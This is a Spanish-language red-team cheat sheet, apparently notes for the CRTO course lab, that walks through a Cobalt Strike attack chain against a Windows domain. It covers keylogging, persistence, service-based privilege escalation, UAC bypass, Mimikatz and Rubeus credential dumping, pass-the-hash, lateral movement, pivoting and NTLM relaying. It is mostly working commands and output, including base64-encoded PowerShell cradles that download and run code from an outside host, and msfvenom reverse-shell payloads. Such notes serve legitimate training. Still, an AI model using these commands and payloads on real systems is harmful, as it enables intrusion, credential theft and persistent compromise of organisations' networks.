# Cheatsheet CRTO ##### Conexión a Cobalt Strike: `attacker@ubuntu ~/cobaltstrike> sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile` ##### Conectar un beacon peer 2 peer: ``` beacon> connect <target> <ip> ``` ##### Detener alguna acción: ``` beacon> jobs Jobs: JID PID Description --- --- ----------- 6 0 keystroke logger beacon> jobkill 6 ``` ### Importante antes del Lab Configurar CS como servicio para que la config esté al reiniciar la VM, implica que los archivos hosteados en el servidor también deben estar disponibles desde antes de los listener los soliciten ### Enumeración ##### Tomar screenshots: ``` beacon> screenshot o printscreen o screenwatch ``` ##### Seatbelt ``` beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system ``` ##### Keylogger ``` beacon> keylogger [+] received keystrokes from *Untitled - Notepad by bfarmer ``` ##### Capturar clipboard (copy/paste) ``` beacon> clipboard [*] Tasked beacon to get clipboard contents Clipboard Data (8 bytes): Sup3rman ``` ##### Listar sesiones en el equipo ``` beacon> net logons Logged on users at \\localhost: DEV\bfarmer DEV\jking DEV\WKSTN-2$ ``` ### Persistencia #### Tareas Programadas ##### Generar Payload powershell en b64 ``` PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))' PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)) SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA ``` ##### Generar Payload para powershell en b64 desde Linux ``` ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))' ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0 SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA ``` ##### Ejecutar SharPersist para que cree la tarea programada ``` beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly ``` #### Carpeta Inicio ##### Ejecutar SharPersist para que cree el archivo a ejeucutar al inicio del sistema ``` beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add ``` #### AutoRun en el Registro ##### Se carga el archivo y SharPersist modifica el registro para qeu ejecute al inicio. ``` beacon> cd C:\ProgramData beacon> upload C:\Payloads\http_x64.exe beacon> mv http_x64.exe updater.exe beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add ``` ### PrivEsc *Nota: usar beacon TCP para privesc* ##### Cargar SharpUp para buscar servicios con paths vulnerables ``` beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath beacon> cd C:\Program Files\Vulnerable Services beacon> ls Size Type Last Modified Name ---- ---- ------------- ---- 5kb fil 02/23/2021 15:04:13 Service 1.exe 5kb fil 02/23/2021 15:04:13 Service 2.exe 5kb fil 02/23/2021 15:04:13 Service 3.exe beacon> upload C:\Payloads\tcp-local_x64.svc.exe beacon> mv tcp-local_x64.svc.exe Service.exe beacon> run sc stop VulnService1 beacon> run sc start VulnService1 beacon> connect localhost 4444 //para establecer la conexión luego ``` ##### Cargar SharpUp para buscar servicios *'modificables'* ``` beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices ``` ##### Cargar SharpUp para buscar servicios con permisos vulnerables En el ejemplo modificar el path de donde se ejecuta el servicio: *Nota: Uso de script externo: [Get-ServiceAcl.ps1](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) ``` beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1 beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access beacon> run sc qc VulnService2 //Validar el path usado por el servicio beacon> mkdir C:\Temp beacon> cd C:\Temp beacon> upload C:\Payloads\tcp-local_x64.svc.exe beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe beacon> run sc qc VulnService2 // se vuelve a validar el cambio beacon> run sc stop VulnService2 beacon> run sc start VulnService2 ``` ##### UAC Bypass ``` beacon> elevate uac-schtasks tcp-local [*] Tasked Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444) in a high integrity context [+] established link to child beacon: 10.10.123.102 ``` ### Persistencia con Altos Privilegios *Nota: Uso exclusivo de beacons P2P o DNS porque los procesos que van con permisos de SYSTEM no pasan los proxy Web* ##### Crear un servicio *Nota: el servicio se iniciará al reinicio del equipo* ``` beacon> cd C:\Windows beacon> upload C:\Payloads\tcp-local_x64.svc.exe beacon> mv tcp-local_x64.svc.exe legit-svc.exe beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add [*] INFO: Adding service persistence [*] INFO: Command: C:\Windows\legit-svc.exe [*] INFO: Command Args: [*] INFO: Service Name: legit-svc [+] SUCCESS: Service persistence added ``` ##### WMI Event Suscriptions *Nota: En el ejemplo el payload DNS se ejecuta al abrir el notepad* ``` beacon> cd C:\Windows beacon> upload C:\Payloads\dns_x64.exe beacon> powershell-import C:\Tools\PowerLurk.ps1 beacon> powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe ``` ### Obtención de Credenciales #### Mimikatz *Nota: estos comandos requieren altos privilegios en la máquina* #### Dumpear la SAM ``` beacon> mimikatz !lsadump::sam ``` ##### Dumpear cred en texto claro ``` beacon> mimikatz !sekurlsa::logonpasswords Ver en CS: View > Credentials ``` ##### Dumpear llaves de cifrado de Kerberos *Nota: el que sirve es AES256 * ``` beacon> mimikatz !sekurlsa::ekeys Agregar a CS --> View > Credentials > Add. ``` ##### Dumpear cred de dominio en cache *Nota: si sale el Hash solo sirve para crackear, ya que no es el NTLM ``` beacon> mimikatz !lsadump::cache formato hashcat: $DCC2$<iterations>#<username>#<hash> ``` ##### Extraer Tickets de Kerberos *Nota: el comando triage extraerá los tickets de la sesión actual, si se tiene privilegios de todas las sesiones del equipo* *El resultado es en b64* ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt /nowrap ticket de un usuario específico, con la opción luid:<valor> se indica cuál usuario ``` ##### DSync *Nota: la cuenta lamb es de un domain admin* ``` beacon> make_token DEV\nlamb F3rrari beacon> dcsync dev.cyberbotic.io DEV\krbtgt ``` ### Domain Recon #### PowerView ``` beacon> powershell Get-Domain //Da info del dominio, nombre, forest y los DC Forest : cyberbotic.io DomainControllers : {dc-2.dev.cyberbotic.io} Children : {} DomainMode : Unknown DomainModeLevel : 7 Parent : cyberbotic.io PdcRoleOwner : dc-2.dev.cyberbotic.io RidRoleOwner : dc-2.dev.cyberbotic.io InfrastructureRoleOwner : dc-2.dev.cyberbotic.io Name : dev.cyberbotic.io ``` ``` beacon> powershell Get-DomainController | select Forest, Name, OSVersion | fl //devuelve los DC Forest : cyberbotic.io Name : dc-2.dev.cyberbotic.io OSVersion : Windows Server 2022 Datacenter ``` ``` beacon> powershell Get-ForestDomain //devuelve todos los dominios dentro del forest Forest : cyberbotic.io DomainControllers : {dc-1.cyberbotic.io} Children : {dev.cyberbotic.io} DomainMode : Unknown DomainModeLevel : 7 Parent : PdcRoleOwner : dc-1.cyberbotic.io RidRoleOwner : dc-1.cyberbotic.io InfrastructureRoleOwner : dc-1.cyberbotic.io Name : cyberbotic.io Forest : cyberbotic.io DomainControllers : {dc-2.dev.cyberbotic.io} Children : {} DomainMode : Unknown DomainModeLevel : 7 Parent : cyberbotic.io PdcRoleOwner : dc-2.dev.cyberbotic.io RidRoleOwner : dc-2.dev.cyberbotic.io InfrastructureRoleOwner : dc-2.dev.cyberbotic.io Name : dev.cyberbotic.io ``` ``` beacon> powershell Get-DomainPolicyData | select -expand SystemAccess //password policy del dominio MinimumPasswordAge : 1 MaximumPasswordAge : 42 MinimumPasswordLength : 7 PasswordComplexity : 1 PasswordHistorySize : 24 ``` *Nota: al agregar el -Identity permite enumerar a un solo usuario, sin ese parámetro devolvería todos los usuarios del dominio* ``` beacon> powershell Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl //enumera un usuario ``` ``` beacon> powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName //devuelve todos los equipos del dominio ``` ``` beacon> powershell Get-DomainOU -Properties Name | sort -Property Name //devuelve todas las OU del dominio name ---- Domain Controllers File Servers Servers ``` ``` beacon> powershell Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName //devuelve los grupos del dominio samaccountname -------------- Domain Admins Key Admins DnsAdmins MS SQL Admins ``` ``` beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName //devuelve los miembreos de un equipo MemberDistinguishedName ----------------------- CN=Nina Lamb,CN=Users,DC=dev,DC=cyberbotic,DC=io CN=Administrator,CN=Users,DC=dev,DC=cyberbotic,DC=io ``` *Nota: Para enumerar de una máquina en particular agregar el parámtro -ComputerIdentity * ``` beacon> powershell Get-DomainGPO -Properties DisplayName | sort -Property DisplayName //enumera las GPO ``` ``` beacon> powershell Get-DomainGPOLocalGroup | select GPODisplayName, GroupName //retorna las gpo que modifican grupos locales ``` ``` beacon> powershell Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl //enumera las máquinas donde un usuario o grupo de dominio es miembro de un grupo local especial.. ObjectName : Support Engineers GPODisplayName : Server Admins ContainerName : {OU=Servers,DC=dev,DC=cyberbotic,DC=io} ComputerName : {web.dev.cyberbotic.io, sql-2.dev.cyberbotic.io, fs.dev.cyberbotic.io} ObjectName : Support Engineers GPODisplayName : Workstation Admins ContainerName : {OU=Workstations,DC=dev,DC=cyberbotic,DC=io} ComputerName : {wkstn-1.dev.cyberbotic.io, wkstn-2.dev.cyberbotic.io} ``` ``` beacon> powershell Get-DomainTrust //devuelve los dominios de confianza ``` #### SharpView *Nota: básicamente igual a powerview pero escrito en C#* ``` beacon> execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-Domain ``` #### ADSearch Básicamente son consultas de LDAP al dominio. *Nota: con el parámetro --json devuelve la query con formato json* ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "objectCategory=user" //busca todos los objectos del tipo usuarios [*] TOTAL NUMBER OF SEARCH RESULTS: 10 [+] cn : Administrator [+] cn : Guest [+] cn : krbtgt [+] cn : CYBER$ [+] cn : Bob Farmer ``` ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))" //busca todos los objetos del tipo grupo que contenga la palabra admin al final ``` ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member [*] TOTAL NUMBER OF SEARCH RESULTS: 1 [+] cn : MS SQL Admins [+] member : CN=Developers,CN=Users,DC=dev,DC=cyberbotic,DC=io ``` ### User Impersonation Hacer uso de hash NTLM, hash AES256 y Ticket de Kerberos para impersonar usuarios. #### Pass The Hash *Nota: se usa el hash NTLM para el ataque pass the hash* ``` beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c Para volver al estado original, usar el comando **rev2self** ``` #### Pass The Ticket Permite agregar tickets de kerberos a una sesión existente (con su LUID asociado), ya sea a una sesión nueva o que ya se tenga. Pasos: 1. Crear una sesión en blanco "de sacrificio" a la cual se le pueda pasar el TGT (porque cada sesión solo soporta un TGT). Se usa rubeus para generar esta nueva sesión ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe [*] Action: Create Process (/netonly) [*] Using random username and password. [*] Showing process : False [*] Username : GJB9A2GP [*] Domain : VPY1XQRP [*] Password : R4ABN1K3 [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 4748 [+] LUID : 0x798c2c ``` *Nota: se puede usar también el nombre del usuario y una password falsa, a modo de pasar más desapercibido ej* ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123 ``` 2. Con la nueva sesión "vacía" creada se le puede pasar el ticket usando el ticket del usuario extraído en base64 y pasándole como argumento el /luid de la sesión nueva: ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP [*] Action: Import Ticket [*] Target LUID: 0x798c2c [+] Ticket successfully imported! ``` 3. Ahora se puede visualizar la sesión con el comando triage de rubeus y con ello se puede impersonar el proceso creado con el comando steal_token pasándole el PID correcto del inicio de sesión: ``` beacon> steal_token 4748 ``` 5. Para volver al estado inicial, se mata el proceso: ``` beacon> rev2self beacon> kill 4748 ``` #### Over Pass The Hash Permite solicitar un TGT para un usuario usando el NTLM o AES; con ello es posible obtener una sesión con privilegios, ya que solicitar un ticket no necesita permiso de administrador. Este ticket luego se puede aprovechar con la técnica Pass the Ticket ``` Usando NTLM beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap [*] Action: Ask TGT [*] Using rc4_hmac hash: 59fc0f884922b4ce376051134c71e22c [*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\jking' [*] Using domain controller: 10.10.122.10:88 [09/01 10:24:04] [+] received output: [+] TGT request successful! [*] base64(ticket.kirbi): doIFmj [...snip...] 5pbw== ServiceName : krbtgt/dev.cyberbotic.io ServiceRealm : DEV.CYBERBOTIC.IO ``` ``` Usando AES256 beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap ``` #### Token Impersonation Sirve cuando se tiene un usuario que ejecuta un proceso se puede impersonar dicho token asociado. *Nota: si el proceso es finalizado por el usuario se perderá el acceso* 1. Listar los procesos de la máquina: ``` PID PPID Name Arch Session User --- ---- ---- ---- ------- ---- 4464 392 mmc.exe x64 0 DEV\jking ``` 2. Robar el token pasándole como parámetro el PID del proceso indicado ``` beacon> steal_token 4464 ``` #### Process Injection Permite inyectar shellcode de forma arbitraria a un proceso arbitrario. Obviamente se aplica solo a los procesos que el usuario actual tiene privilegios; de ser administrador se puede realizar en cualquier proceso. Se puede hacer con `shinject` o `inject`; el primero para inyectar código de un binario de la máquina del atacante, el segundo para inyectar un beacon completo para el listener específico. ``` beacon> inject 4464 x64 tcp-local [*] Tasked beacon to inject windows/beacon_bind_tcp (127.0.0.1:4444) into 4464 (x64) [+] established link to child beacon: 10.10.123.102 se le pasa de parámtro el pid del proceso, la arquitectura y el nombre del listener ``` ### Movimiento Lateral CS utiliza 3 métodos propios para movimiento lateral: 1. Jump: `jump [method] [target] [listener]` ``` beacon> jump ``` 2. Remote-Exec: `remote-exec [method] [target] [command].` *Nota: remote-exec sirve para ejecutar comandos en un equipo remoto en resumen* ``` beacon> remote-exec ``` 3. Execute-assembly: Este comando permite mayor control sobre lo que se ahce, ya que se puede cargar otros programas por ej. Seatbelt para realizar enumeración: ``` beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe OSInfo -ComputerName=web Hostname : web Domain Name : dev.cyberbotic.io ProductName : Windows Server 2022 Datacenter EditionID : ServerDatacenter ReleaseId : 2009 Build : 20348 BuildBranch : fe_release CurrentMajorVersionNumber : 10 CurrentVersion : 6.3 Architecture : AMD6 ``` #### Windows Remote Management *Nota: winrm y winrm64 para arquitectuta de 32 y 64 respectivamente*. En el ejemplo se usa jump para ejecutar el comando en un equipo remoto y de protocolo usa smb ya que se mezcla con el tráfico normal dentro de la red de windows ``` beacon> jump winrm64 web.dev.cyberbotic.io smb [*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web.dev.cyberbotic.io via WinRM [+] host called home, sent: 225172 bytes [+] established link to child beacon: 10.10.122.30 ``` #### Psexec *Nota: psexec y psexec64 para arquitectuta de 32 y 64 respectivamente*. Funcioa cargando un binario al sistema objetivo y luego genera un servicio para ejecutar el binario. En este caso se ejecutan como SYSTEM ``` beacon> jump psexec64 web.dev.cyberbotic.io smb [*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (\\web\ADMIN$\768870c.exe) Started service 768870c on web.dev.cyberbotic.io [+] established link to child beacon: 10.10.122.30 ``` Otro ejemplo es psexec_psh el cual no copia un binario, sino que ejecuta un one liner en powershell de 32 bits. ``` beacon> jump psexec_psh web smb [*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (PSH) Started service bd119dd on web [+] established link to child beacon: 10.10.122.30 ``` ### Windows Management Instrumentation Se utiliza en conjunto con el comando `remote-exec` donde usualmente se sube el binario (payload) al equipo y wmi para ejecutarlo. El paso a paso: 1. Se navega a la carpeta 2. Se sube el binario 3. Se ejecuta y se genera el servicio 4. Se linkea el proceso a la máquina ``` beacon> cd \\web.dev.cyberbotic.io\ADMIN$ beacon> upload C:\Payloads\smb_x64.exe beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe Started process 3280 on web.dev.cyberbotic.io beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10 [+] established link to child beacon: 10.10.122.30 ``` Si aparece el error **CoInitializeSecurity already called. Thread token (if there is one) may not get used** es porque es necesario ejecutar WMI desde otro proceso, por ejemplo con SharpWMI: ``` beacon> make_token DEV\jking Qwerty123 [+] Impersonated DEV\bfarmer beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe CoInitializeSecurity already called. Thread token (if there is one) may not get used [-] Could not connect to web.dev.cyberbotic.io: 5 beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb_x64.exe" [*] Host : web.dev.cyberbotic.io [*] Command : C:\Windows\smb_x64.exe [*] Creation of process returned : 0 [*] Process ID : 3436 ``` #### DCOM Para interactuar con el protocolo DCOM es necesario usar una tool externa a CS ``` beacon> powershell-import C:\Tools\Invoke-DCOM.ps1 beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb_x64.exe Completed beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10 [+] established link to child beacon: 10.10.122.30 ``` ### Session Passing Permite pasar una nueva sesión de C2 de un payload/listener a otro o incluso a otro framework de C2 tal como msf. #### Beacon Passing Permite generar un proceso de x86 o x64 e inyectar shellcode específico para un listener, en el ejemplo se tiene un listener del tipo DNS el cual se quiere mantener solo para el check; bajo este beacon se spawnea uno nuevo en un listener http para trabajar desde este último. ``` beacon> spawn x64 http ``` #### Foreign Listener Sirve para payloads del tipo stage de Meterpreter y con ello generar una conexión a mterpreter vía HTTP o HTTPS. Pasos: 1. Iniciar msf y crear un listener 2. Crear un nuevo listener en CS del tipo Foreign HTTP asociando el puerto e IP indicada en msf 3. Es posible ejecutar comandos tales como spawn, jump o elevate ``` attacker@ubuntu ~> sudo msfconsole -q msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf6 exploit(multi/handler) > set LHOST ens5 msf6 exploit(multi/handler) > set LPORT 8080 msf6 exploit(multi/handler) > run [*] Meterpreter session 1 opened (10.10.5.50:8080 -> 127.0.0.1) at 2022-09-05 11:29:54 +0000 ``` #### Spawn & Inject Se tienen dos comandos para session passing `shinject` para inyectar el shellcode a un proceso existinte y `shspawn` para crear un nuevo proceso. Pasos: 1. Usar un payload del tipo stageless meterpreter 2. Generar el payload con msfvenom usando WSL y almacenar en el directorio de Payloads 3. Con shspawn generar el proceso e inyectar el payload ``` msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http msf6 exploit(multi/handler) > exploit [*] Started HTTP reverse handler on http://10.10.5.50:8080 ubuntu@DESKTOP-3BSK7NO ~> msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.5.50 LPORT=8080 -f raw -o /mnt/c/Payloads/msf_http_x64.bin [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 201820 bytes Saved as: /mnt/c/Payloads/msf_http_x64.bin beacon> shspawn x64 C:\Payloads\msf_http_x64.bin ``` ### Pivoting #### SOCK Proxies Un sock procy permite el intercambio de paquetes de red entre cliente y servidor. Útil para cuando se quiere utilizar herramientas externas y tunelear con el C2; tales como Impacket. Pasos: 1. Usar el comando sock en el beacon que se quiere usar de pivote ``` beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging ``` #### Proxychains Actúa como wrapper para tunelear el tráfico sobre un proxy sock. Pasos: 1. Modificar la configuración de proxychains para que apunte al proxy de CS 2. Usar proxychains como de costumbre (en el ejemplo usar nmap) `proxychains [tool] [tool args]` ``` attacker@ubuntu ~> sudo vim /etc/proxychains.conf socks5 127.0.0.1 1080 socks_user socks_password attacker@ubuntu ~> proxychains nmap -n -Pn -sT -p445,3389,4444,5985 10.10.122.10 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-05 13:31 UTC |S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:3389-<><>-OK |S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:445-<><>-OK |S-chain|-<>-127.0.0.1:1080-<><>>-10.10.122.10:4444-<--timeout |S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:5985-<><>>-OK Nmap scan report for 10.10.122.10 Host is up (0.061s latency). PORT STATE SERVICE 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 4444/tcp closed krb524 5985/tcp open wsman Desde WSL: ubuntu@DESKTOP-3BSK7NO ~ > proxychains wmiexec.py DEV/jking@10.10.122.30 ProxyChains-3.1 (http://proxychains.sf.net) Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation Password: |S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK [*] SMBv3.0 dialect used |S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:135-<><>-OK |S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:49667-<><>-OK [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami dev\jking C:\>hostname web ``` #### Reverse Port Forward Permite redirigir el tráfico entrante por un puerto específico a otra IP y puerto. En algunos casos permite evadir restricciones de navegación, segmentación y firewall. Para crear un túnel vía CS en el ejemplo entre Domain Controller 2 (sin acceso a internet) y Workstation 2, la cual si tiene acceso a internet hacia el team server. Pasos: 1. Crear la regla en el fw para poder navegar 2. Crear el reverse port forward para enviar tráfico desde Domain Controller 2 y el team server 3. Bindea el puerto 8080 del workstation 2 4. Desde DC2 ya se puede acceder al team server ``` beacon> powershell New-NetFirewallRule -DisplayName "Test Rule" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080 beacon> powershell Remove-NetFirewallRule -DisplayName "Test Rule" beacon> rportfwd 8080 127.0.0.1 80 [+] started reverse port forward on 8080 to 127.0.0.1:80 beacon> run netstat -anp tcp TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING PS C:\Users\Administrator> iwr -Uri http://wkstn-2:8080/a StatusCode : 200 ``` #### NTLM Relaying Para hacerlo con CS y redirigir el tráfico se necesita lo siguiente: 1. Un driver para redirigir el tráfico destinado al 445 hacia otro puerto 2. Un reverse port forward en el puerto al cual el tráfico SMB está siendo redirigido a modo de tunelear el tráfico SMB hacia el team server 3. Tener la herramienta escuchando en el servidor, en este caso ntlmrelayx 4. Un proxy SOCK para permitir que ntlmrelayx envíe el tráfico de vuelta a la red objetivo NTLMRelayx: (el -c permite ejecutar un comando arbitrario luego que la autenticación sea exitosa, la IP corresponde al DC2 en la red del lab, el comando encodeado es un link de descarga en powershell, y /b es un payload SMB) ``` attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t smb://10.10.122.10 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAyADMALgAxADAAMgA6ADgAMAA4ADAALwBiACIAKQA=' ``` PortBender (para realizar este ataque es necesario ser admin ya que portbender es un driver) Desde Cobalt Strike > Script Manager cargar PortBender.cna ``` beacon> run hostname wkstn-2 beacon> getuid [*] You are NT AUTHORITY\SYSTEM (admin) beacon> cd C:\Windows\system32\drivers beacon> upload C:\Tools\PortBender\WinDivert64.sys beacon> help PortBender Redirect Usage: PortBender redirect FakeDstPort RedirectedPort Backdoor Usage: PortBender backdoor FakeDstPort RedirectedPort Password Examples: PortBender redirect 445 8445 PortBender backdoor 443 3389 praetorian.antihacker beacon> PortBender redirect 445 8445 [+] Launching PortBender module using reflective DLL injection Initializing PortBender in redirector mode Configuring redirection of connections targeting 445/TCP to 8445/TCP ``` Reverse Port Forward: ``` Para el ntlmrelayx beacon> rportfwd 8445 127.0.0.1 445 [+] started reverse port forward on 8445 to 127.0.0.1:445 Para el payload SMB beacon> rportfwd 8080 127.0.0.1 80 [+] started reverse port forward on 8080 to 127.0.0.1:80 ``` SOCK Proxy: ``` Para devolver el tráfico del ntlmrelayx a la red interna beacon> socks 1080 socks5 disableNoAuth socks_user socks_password [+] started SOCKS5 server on: 1080 ``` Linkear la sesión una vez que un usuario haya interactuado con la máquina objetivo: ``` beacon> link dc-2.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10 [+] established link to child beacon: 10.10.122.10 ``` ### Data Protection API #### Credential Manager Las cred almacenadas se ubican en `C:\Users\<usuario>\AppData\Local\Microsoft\Credentials` Para enumerar los vault del usuario: ``` beacon> run vaultcmd /list Currently loaded vaults: Vault: Web Credentials Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28 Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 Vault: Windows Credentials Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29 Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault beacon> run vaultcmd /listcreds:"Windows Credentials" /all Credentials in vault: Windows Credentials Credential schema: Windows Domain Password Credential Resource: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io Identity: SQL-2\Administrator Hidden: No Roaming: No Property (schema element id,value): (100,2) ``` Con Seatbelt: ``` beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault ====== WindowsVault ====== Vault GUID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 Vault Type : Web Credentials Item count : 0 Vault GUID : 77bc582b-f0a6-4e15-4e80-61736b6f3b29 Vault Type : Windows Credentials Item count : 1 SchemaGuid : 3e0e35be-1b77-43e7-b873-aed901b6275b Resource : String: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io Identity : String: SQL-2\Administrator PackageSid : (null) Credential : LastModified : 9/6/2022 9:12:12 AM beacon> 